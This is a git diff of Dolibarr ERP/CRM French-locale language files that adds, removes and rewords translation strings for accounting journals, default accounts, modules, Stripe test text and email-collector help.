FicheVentilation=Carte de reliure GeneralLedgerIsWritten=Les transactions sont écrites dans le Ledger ChangeBinding=Changer la liaison ApplyMassCategories=Appliquer des catégories de masse CategoryDeleted=La catégorie pour le compte comptable a été supprimée AccountingJournals=Revues comptables +AccountingJournalType5=Note de frais AccountingJournalType9=A-nouveau ErrorAccountingJournalIsAlreadyUse=Ce journal est déjà utilisé ChartofaccountsId=Carte comptable Id diff --git a/htdocs/langs/fr_CA/admin.lang b/htdocs/langs/fr_CA/admin.lang index d9c277fcdf6..4547055d218 100644 --- a/htdocs/langs/fr_CA/admin.lang +++ b/htdocs/langs/fr_CA/admin.lang @@ -88,9 +88,7 @@ Module0Desc=Gestion des utilisateurs / employés et des groupes Module42Desc=Installations de journalisation (fichier, syslog, ...). Ces journaux sont à des fins techniques / de débogage. Module75Name=Notes de frais et déplacements Module2400Name=Evénements / Agenda -Module2600Name=services API / Web ( serveur SOAP ) Module2600Desc=Active le serveur de Web Services de Dolibarr -Module2610Name=services API / Web ( serveur REST ) Module2610Desc=Activer le serveur REST de services API de les services Module2660Name=WebServices appel ( client SOAP ) Module4000Name=Gestion des ressources humaines @@ -192,6 +190,7 @@ DeleteFiscalYear=Supprimer la période comptable ConfirmDeleteFiscalYear=Êtes-vous sûr de supprimer cette période comptable? ShowFiscalYear=Afficher la période comptable SalariesSetup=Configuration du module salariés +InstallModuleFromWebHasBeenDisabledByFile=L'installation de module externe depuis l'application a été désactivé par l'administrator. Vous devez lui demander de supprimer le fichier %s pour permettre cette fonctionnalité. ConfFileMustContainCustom=L'installation ou la construction d'un module externe à partir de l'application doit sauvegarder les fichiers du module dans le répertoire %s. Pour que ce répertoire soit traité par Dolibarr, vous devez configurer votre conf / conf.php pour ajouter les 2 lignes de directive:
      $ dolibarr_main_url_root_alt = '/ custom';
      $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=Mettez en surbrillance les lignes de table lorsque déplacement de la souris passe au-dessus PressF5AfterChangingThis=Appuyez sur CTRL + F5 sur le clavier ou effacez votre cache de navigateur après avoir changé cette valeur pour l'avoir efficace @@ -236,6 +235,4 @@ LandingPage=Page d'atterrissage ModuleEnabledAdminMustCheckRights=Le module a été activé. Les autorisations pour les modules activés ont été données uniquement aux utilisateurs administratifs. Vous devrez peut-être accorder des autorisations aux autres utilisateurs ou groupes manuellement si nécessaire. BaseCurrency=Monnaie de référence de la société (entrer dans la configuration de l'entreprise pour modifier cela) FormatZip=Code postal -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. UseSearchToSelectResource=Utilisez un formulaire de recherche pour choisir une ressource (plutôt qu'une liste déroulante). -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      diff --git a/htdocs/langs/fr_CA/categories.lang b/htdocs/langs/fr_CA/categories.lang index 6357b823f41..df1c2447d89 100644 --- a/htdocs/langs/fr_CA/categories.lang +++ b/htdocs/langs/fr_CA/categories.lang @@ -15,7 +15,6 @@ ProductsCategoryShort=Tags/catégories de produits MembersCategoryShort=Tags/catégories de membres CustomersCategoriesShort=Tags/catégories de clients ProspectsCategoriesShort=Prospects tags/catégories -ProductsCategoriesShort=Tags/catégories de produits MembersCategoriesShort=Tags/catégories de membres AccountsCategoriesShort=Étiquettes / catégories de comptes ProjectsCategoriesShort=Projets Tags / catégories diff --git a/htdocs/langs/fr_CA/compta.lang b/htdocs/langs/fr_CA/compta.lang index 886c9020d9a..405f1af98ce 100644 --- a/htdocs/langs/fr_CA/compta.lang +++ b/htdocs/langs/fr_CA/compta.lang @@ -50,8 +50,6 @@ WarningDepositsNotIncluded=Les factures de acompte ne sont pas incluses dans cet DatePaymentTermCantBeLowerThanObjectDate=La date limite de règlement ne peut être inférieure à la date de l'object Pcg_version=Modèles de plan comptable CalculationRuleDesc=Pour calculer le total de TPS/TVH, il existe 2 modes:
      Le mode 1 consiste à arrondir la TPS/TVH de chaque ligne et à sommer cet arrondi.
      Le mode 2 consiste à sommer la TPS/TVH de chaque ligne puis à l'arrondir.
      Les résultats peuvent différer de quelques centimes. Le mode par défaut est le mode %s. -ACCOUNTING_VAT_PAY_ACCOUNT=Compte comptable par défaut pour payer la TVA -ACCOUNTING_ACCOUNT_CUSTOMER=Compte comptable utilisé pour les tiers clients AddExtraReport=Rapports supplémentaires (ajouter un rapport client étranger et national) OtherCountriesCustomersReport=Rapport des clients étrangers BasedOnTwoFirstLettersOfVATNumberBeingDifferentFromYourCompanyCountry=Sur la base des deux premières lettres du numéro de TVA différentes du code de pays de votre entreprise diff --git a/htdocs/langs/fr_CA/dict.lang b/htdocs/langs/fr_CA/dict.lang index 9730214676f..e4c1a7ab0ff 100644 --- a/htdocs/langs/fr_CA/dict.lang +++ b/htdocs/langs/fr_CA/dict.lang @@ -3,7 +3,6 @@ CountryBE=la Belgique CountryUS=États Unis CountryTG=Aller CountryCI=Côte d'Ivoiry -CountrySG=Singapour CountryAT=L'Autriche CountryBB=La Barbade CountryBA=Bosnie Herzégovine diff --git a/htdocs/langs/fr_CA/ecm.lang b/htdocs/langs/fr_CA/ecm.lang index d660995b9f5..c6a678b714f 100644 --- a/htdocs/langs/fr_CA/ecm.lang +++ b/htdocs/langs/fr_CA/ecm.lang @@ -5,7 +5,6 @@ ECMSectionsManual=Arbre manuel ECMSectionsAuto=Arbre automatique ECMAddSection=Ajouter un répertoire ECMCreationDate=Date création -ECMAreaDesc2=* Les répertoires automatiques sont remplis automatiquement lors de l'ajout de documents à partir d'une carte d'un élément.
      * Les répertoires manuels peuvent être utilisés pour enregistrer des documents non liés à un élément particulier. ECMSectionWasRemoved=Le répertoire %s a été supprimé. ECMSectionOfDocuments=Répertoires de documents ShowECMSection=Afficher le répertoire diff --git a/htdocs/langs/fr_CA/loan.lang b/htdocs/langs/fr_CA/loan.lang index 64738b543c6..9779add3aaa 100644 --- a/htdocs/langs/fr_CA/loan.lang +++ b/htdocs/langs/fr_CA/loan.lang @@ -14,6 +14,3 @@ ConfirmPayLoan=Confirmer classer payé ce prêt LoanPaid=Prêt payé AddLoan=Créer un prêt ConfigLoan=Configuration du prêt du module -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Capital de comptabilité par défaut -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Compter les intérêts du compte par défaut -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Assurance compte comptable par défaut diff --git a/htdocs/langs/fr_CA/main.lang b/htdocs/langs/fr_CA/main.lang index 61ed834131a..e1658600615 100644 --- a/htdocs/langs/fr_CA/main.lang +++ b/htdocs/langs/fr_CA/main.lang @@ -41,6 +41,7 @@ AddToDraft=Ajouter au projet CloseBox=Supprimer le widget de votre tableau de bord Resiliate=Mettre fin NotValidated=Pas validé +OpenVerb=Ouverte NoteSomeFeaturesAreDisabled=Attention, seules quelques modules/fonctionnalités ont été activés dans cette démo. DefaultModel=Modèle de docteur par défaut Connection=Identifiant diff --git a/htdocs/langs/fr_CA/members.lang b/htdocs/langs/fr_CA/members.lang index a07f2e193ce..268d036a365 100644 --- a/htdocs/langs/fr_CA/members.lang +++ b/htdocs/langs/fr_CA/members.lang @@ -76,4 +76,3 @@ MembersStatisticsDesc=Choisissez les statistiques que vous souhaitez lire ... NewMemberbyWeb=Nouveau membre ajouté. En attente d'approbation NewMemberForm=Nouveau formulaire de membre TurnoverOrBudget=Chiffre d'affaires (pour une entreprise) ou Budget (pour une fondation) -MEMBER_NEWFORM_PAYONLINE=Aller sur la page de paiement en ligne intégrée diff --git a/htdocs/langs/fr_CA/projects.lang b/htdocs/langs/fr_CA/projects.lang index db0b3e29f94..3753ef9fa16 100644 --- a/htdocs/langs/fr_CA/projects.lang +++ b/htdocs/langs/fr_CA/projects.lang @@ -49,7 +49,6 @@ ValidateProject=Valider le projet ConfirmValidateProject=Êtes-vous sûr de vouloir valider ce projet? CloseAProject=Prochain projet ConfirmCloseAProject=Êtes-vous sûr de vouloir fermer ce projet? -AlsoCloseAProject=Fermez également le projet (maintenez-le ouvert si vous devez toujours suivre les tâches de production) ReOpenAProject=Projet ouvert ConfirmReOpenAProject=Êtes-vous sûr de vouloir rouvrir ce projet? ActionsOnProject=Événements sur projet diff --git a/htdocs/langs/fr_CA/propal.lang b/htdocs/langs/fr_CA/propal.lang index 62d0f0fdc10..4b66fa2ece3 100644 --- a/htdocs/langs/fr_CA/propal.lang +++ b/htdocs/langs/fr_CA/propal.lang @@ -35,5 +35,5 @@ AvailabilityTypeAV_NOW=Immédiatement TypeContact_propal_internal_SALESREPFOLL=Proposition de suivi représentative TypeContact_propal_external_BILLING=Contact client facturation TypeContact_propal_external_CUSTOMER=Proposition de suivi du contact client -DefaultModelPropalCreate=Création de modèle par défaut DefaultModelPropalClosed=Modèle par défaut lors de la clôture d'une proposition commerciale (non facturé) +DefaultModelPropalCreate=Création de modèle par défaut diff --git a/htdocs/langs/fr_CH/admin.lang b/htdocs/langs/fr_CH/admin.lang index 48875993c72..c809b652f17 100644 --- a/htdocs/langs/fr_CH/admin.lang +++ b/htdocs/langs/fr_CH/admin.lang @@ -13,7 +13,6 @@ LDAPMembersSynchro=Membres LDAPMembersTypesSynchro=Types de membres MailToMember=Membres OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      Recommended=Recommandée IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/fr_CH/datapolicy.lang b/htdocs/langs/fr_CH/datapolicy.lang new file mode 100644 index 00000000000..748cdf8362a --- /dev/null +++ b/htdocs/langs/fr_CH/datapolicy.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - datapolicy +DATAPOLICY_ADHERENT =Membre diff --git a/htdocs/langs/fr_CH/hrm.lang b/htdocs/langs/fr_CH/hrm.lang new file mode 100644 index 00000000000..c71599d9ff1 --- /dev/null +++ b/htdocs/langs/fr_CH/hrm.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - hrm +RequiredRank=Required rank for this job +OrJobToCompare=Compare to job skills requirements diff --git a/htdocs/langs/fr_CH/install.lang b/htdocs/langs/fr_CH/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/fr_CH/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/fr_CH/propal.lang b/htdocs/langs/fr_CH/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/fr_CH/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/fr_CH/stripe.lang b/htdocs/langs/fr_CH/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/fr_CH/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/fr_CI/admin.lang b/htdocs/langs/fr_CI/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/fr_CI/admin.lang +++ b/htdocs/langs/fr_CI/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/fr_CI/hrm.lang b/htdocs/langs/fr_CI/hrm.lang new file mode 100644 index 00000000000..c71599d9ff1 --- /dev/null +++ b/htdocs/langs/fr_CI/hrm.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - hrm +RequiredRank=Required rank for this job +OrJobToCompare=Compare to job skills requirements diff --git a/htdocs/langs/fr_CI/install.lang b/htdocs/langs/fr_CI/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/fr_CI/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/fr_CI/propal.lang b/htdocs/langs/fr_CI/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/fr_CI/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/fr_CI/stripe.lang b/htdocs/langs/fr_CI/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/fr_CI/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/fr_CM/admin.lang b/htdocs/langs/fr_CM/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/fr_CM/admin.lang +++ b/htdocs/langs/fr_CM/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/fr_CM/hrm.lang b/htdocs/langs/fr_CM/hrm.lang new file mode 100644 index 00000000000..c71599d9ff1 --- /dev/null +++ b/htdocs/langs/fr_CM/hrm.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - hrm +RequiredRank=Required rank for this job +OrJobToCompare=Compare to job skills requirements diff --git a/htdocs/langs/fr_CM/install.lang b/htdocs/langs/fr_CM/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/fr_CM/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/fr_CM/propal.lang b/htdocs/langs/fr_CM/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/fr_CM/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/fr_CM/stripe.lang b/htdocs/langs/fr_CM/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/fr_CM/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/fr_FR/accountancy.lang b/htdocs/langs/fr_FR/accountancy.lang index 53edef4c0a1..89b76f7ab9c 100644 --- a/htdocs/langs/fr_FR/accountancy.lang +++ b/htdocs/langs/fr_FR/accountancy.lang @@ -30,7 +30,7 @@ ChartOfSubaccounts=Plan des comptes auxiliaires ChartOfIndividualAccountsOfSubsidiaryLedger=Plan des comptes auxiliaires CurrentDedicatedAccountingAccount=Compte dédié courant AssignDedicatedAccountingAccount=Nouveau compte à assigner -InvoiceLabel=Description de la facture +InvoiceLabel=Libellé de la facture OverviewOfAmountOfLinesNotBound=Vue des lignes non liées à un compte comptable OverviewOfAmountOfLinesBound=Vue des lignes déjà liées à un compte comptable OtherInfo=Autre information @@ -101,7 +101,8 @@ ShowAccountingAccount=Afficher le compte comptable ShowAccountingJournal=Afficher le journal ShowAccountingAccountInLedger=Afficher le compte comptable dans le grand livre ShowAccountingAccountInJournals=Afficher le compte comptable dans les journaux -AccountAccountingSuggest=Code comptable suggéré +DataUsedToSuggestAccount=Données utilisées pour suggérer le compte comptable +AccountAccountingSuggest=Compte comptable suggéré MenuDefaultAccounts=Comptes par défaut MenuBankAccounts=Comptes bancaires MenuVatAccounts=Comptes TVA @@ -126,6 +127,7 @@ WriteBookKeeping=Enregistrer les transactions en comptabilité Bookkeeping=Grand livre BookkeepingSubAccount=Grand livre auxiliaire AccountBalance=Balance des comptes +AccountBalanceSubAccount=Balance des comptes de tiers ObjectsRef=Référence de l'objet source CAHTF=Total achat fournisseur HT TotalExpenseReport=Total note de frais @@ -165,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Activer la liste déroulante pour les comptes auxiliai ACCOUNTING_DATE_START_BINDING=Définissez une date pour commencer la liaison et le transfert en comptabilité. En dessous de cette date, les transactions ne seront jamais transférées à la comptabilité. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Sur virement comptable, quelle est la période sélectionnée par défaut -ACCOUNTING_SELL_JOURNAL=Journal des ventes -ACCOUNTING_PURCHASE_JOURNAL=Journal des achats -ACCOUNTING_MISCELLANEOUS_JOURNAL=Journal des opérations diverses -ACCOUNTING_EXPENSEREPORT_JOURNAL=Journal des notes de frais -ACCOUNTING_SOCIAL_JOURNAL=Journal de paie -ACCOUNTING_HAS_NEW_JOURNAL=Journal des A-nouveaux +ACCOUNTING_SELL_JOURNAL=Ventes +ACCOUNTING_PURCHASE_JOURNAL=Achats +ACCOUNTING_BANK_JOURNAL=Banque +ACCOUNTING_EXPENSEREPORT_JOURNAL=Notes de frais +ACCOUNTING_MISCELLANEOUS_JOURNAL=Opérations diverses +ACCOUNTING_HAS_NEW_JOURNAL=A-nouveaux +ACCOUNTING_INVENTORY_JOURNAL=Inventaire +ACCOUNTING_SOCIAL_JOURNAL=Paie ACCOUNTING_RESULT_PROFIT=Compte de résultat (Profit) ACCOUNTING_RESULT_LOSS=Compte de résultat (perte) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal de fermeture -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Compte comptable de transfert transitoire bancaire +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Compte comptable par défaut pour les virements internes TransitionalAccount=Compte transitoire de virement bancaire -ACCOUNTING_ACCOUNT_SUSPENSE=Compte comptable d'attente -DONATION_ACCOUNTINGACCOUNT=Compte comptable pour l'enregistrement des dons -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Compte comptable pour enregistrer les adhésions +ACCOUNTING_ACCOUNT_SUSPENSE=Compte comptable par défaut pour les opérations en attente +DONATION_ACCOUNTINGACCOUNT=Compte comptable pour la comptabilisation des dons +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Compte comptable par défaut pour les adhésions des adhérents (si l'adhésion est enregistrée sans facture) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Compte comptable par défaut pour les acomptes clients +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Compte comptable par défaut pour enregistrer les acomptes client UseAuxiliaryAccountOnCustomerDeposit=Enregistrer le compte client comme compte individuel dans le grand livre auxiliaire pour les lignes d'acompte (si désactivé, le compte individuel pour les lignes d'acompte restera vide) ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Compte comptable par défaut pour enregistrer l'acompte fournisseur -UseAuxiliaryAccountOnSupplierDeposit=Stocker le compte fournisseur comme compte individuel dans le grand livre auxiliaire pour les lignes d'acomptes (si désactivé, le compte individuel pour les lignes d'acompte restera vide) +UseAuxiliaryAccountOnSupplierDeposit=Utiliser le compte comptable auxiliaire fournisseur dans le grand livre auxiliaire pour les lignes d'acomptes fournisseurs (si désactivé, le compte comptable auxiliaire pour les lignes d'acompte restera vide) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Compte comptable par défaut pour l'enregistrement des retenues de garantie clients -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Compte comptable par défaut pour les produits achetés (utilisé si non défini dans la fiche produit) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Compte comptable par défaut pour les produits achetés dans le même pays (utilisé si non défini dans la fiche produit) ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Compte comptable par défaut pour les produits achetés dans la CEE (utilisé si non défini dans la fiche produit) ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Compte comptable par défaut pour les produits achetés et importés hors de la CEE (utilisé si non défini dans la fiche produit) ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Compte comptable par défaut pour les produits vendus (utilisé si non défini dans la fiche produit) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Code comptable par défaut pour les produits vendus dans la CEE (utilisé si non définie dans la fiche produit) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Code comptable par défaut pour les produits vendus et exportés hors de la CEE (utilisé si non définie dans la fiche produit) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Compte comptable par défaut pour les produits vendus dans la CEE (utilisé si non définie dans la fiche produit) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Compte comptable par défaut pour les produits vendus et exportés hors de la CEE (utilisé si non définie dans la fiche produit) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Compte comptable par défaut pour les services achetés (utilisé si non défini dans la fiche service) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Compte comptable par défaut pour les services achetés dans le pays (utilisé si non défini dans la fiche service) ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Compte comptable par défaut pour les services achetés dans la CEE (utilisé si non défini dans la fiche service) ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Compte comptable par défaut pour les services achetés et importés hors de la CEE (utilisé si non défini dans la fiche service) ACCOUNTING_SERVICE_SOLD_ACCOUNT=Compte comptable par défaut pour les services vendus (utilisé si non défini dans la fiche service) ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Compte comptable par défaut pour les services vendus dans la CEE (utilisé si non défini dans la fiche service) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Code comptable par défaut pour les services vendus et exportés hors de la CEE (utilisé si non définie dans la fiche produit) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Compte comptable par défaut pour les services vendus et exportés hors de la CEE (utilisé si non définie dans la fiche produit) Doctype=Type de documents Docdate=Date @@ -215,7 +220,8 @@ Codejournal=Journal JournalLabel=Libellé journal NumPiece=Numéro de pièce TransactionNumShort=Num. transaction -AccountingCategory=Groupe comptable personnalisé +AccountingCategory=Groupe de comptes personnalisé +AccountingCategories=Groupes de comptes personnalisés GroupByAccountAccounting=Affichage par compte comptable GroupBySubAccountAccounting=Affichage par compte auxiliaire AccountingAccountGroupsDesc=Vous pouvez définir ici des groupes de comptes comptable. Il seront utilisés pour les reporting comptables personnalisés @@ -232,6 +238,7 @@ ConfirmDeleteMvt=Cela supprimera toutes les lignes en comptabilité pour l'anné ConfirmDeleteMvtPartial=Cela supprimera la transaction de la comptabilité (toutes les lignes liées à la même transaction seront supprimées) FinanceJournal=Journal de trésorerie ExpenseReportsJournal=Journal des notes de frais +InventoryJournal=Journal d'inventaire DescFinanceJournal=Journal de trésorerie comprenant tous les types de paiements par compte bancaire / caisse DescJournalOnlyBindedVisible=Il s'agit d'une vue des éléments liés à un compte comptable et qui peuvent être enregistrés dans les journaux et le grand livre. VATAccountNotDefined=Compte de la TVA non défini @@ -263,19 +270,20 @@ ShowSubtotalByGroup=Afficher le sous-total par niveau Pcgtype=Groupe de comptes comptables PcgtypeDesc=Les groupes de comptes sont utilisés comme critères de filtre et de regroupement prédéfinis pour certains rapports de comptabilité. Par exemple, «INCOME» ou «EXPENSE» sont utilisés en tant que groupes pour la comptabilité afin de générer le rapport dépenses / revenus. +AccountingCategoriesDesc=Un groupe de comptes personnalisé peut être utilisé pour regrouper les comptes comptables en un seul nom afin de faciliter l'utilisation du filtre ou la création de rapports personnalisés. -Reconcilable=Rapprochable +Reconcilable=Lettrable TotalVente=Total chiffre affaires hors taxe TotalMarge=Total marge -DescVentilCustomer=Consultez ici la liste des lignes de factures clients liées (ou non) à un compte comptable produit -DescVentilMore=Dans la plupart des cas, si vous utilisez des produits ou des services prédéfinis et vous définissez le numéro de compte comptable sur la fiche produit/service, l'application sera en mesure de faire toute les liaisons entre vos lignes de facture et le compte comptable de votre plan comptable, juste en un clic avec le bouton "%s". Si le compte n'a pas été mis sur les fiches produits/services ou si vous avez encore quelques lignes non liées à un compte, vous devrez faire une liaison manuelle à partir du menu "%s". +DescVentilCustomer=Consultez ici la liste des lignes de facture client lié (ou non) à un compte comptable produit ou service +DescVentilMore=Dans la plupart des cas, si vous utilisez des produits ou services prédéfinis et que vous paramétrez le compte (du plan comptable) sur la fiche produit/service, l'application pourra faire toute la liaison entre vos lignes de facture et le compte comptable de votre plan comptable des comptes, juste en un clic avec le bouton "%s" . Si le compte n'a pas été défini sur les fiches produits/services ou s'il vous reste des lignes non liées à un compte, vous devrez effectuer une liaison manuelle depuis le menu "%s". DescVentilDoneCustomer=Consultez ici la liste des lignes de factures clients et leur compte comptable produits -DescVentilTodoCustomer=Lier les lignes de factures non déjà liées à un compte comptable produits -ChangeAccount=Modifier le compte comptable produit/service pour les lignes sélectionnées avec le compte comptable suivant: +DescVentilTodoCustomer=Lier les lignes de factures non déjà liées à un compte comptable produit +ChangeAccount=Modifiez le compte comptable de produit/service pour les lignes sélectionnées avec le compte suivant : Vide=- -DescVentilSupplier=Consultez ici la liste des lignes de factures fournisseur liées ou pas encore liées à un compte comptable produit (seuls les enregistrements pas encore transférés en comptabilités sont visibles) +DescVentilSupplier=Consultez ici la liste des lignes de factures fournisseur liées ou pas encore liées à un compte comptable produit/service (seuls les enregistrements pas encore transférés en comptabilités sont visibles) DescVentilDoneSupplier=Consultez ici la liste des lignes de factures fournisseurs 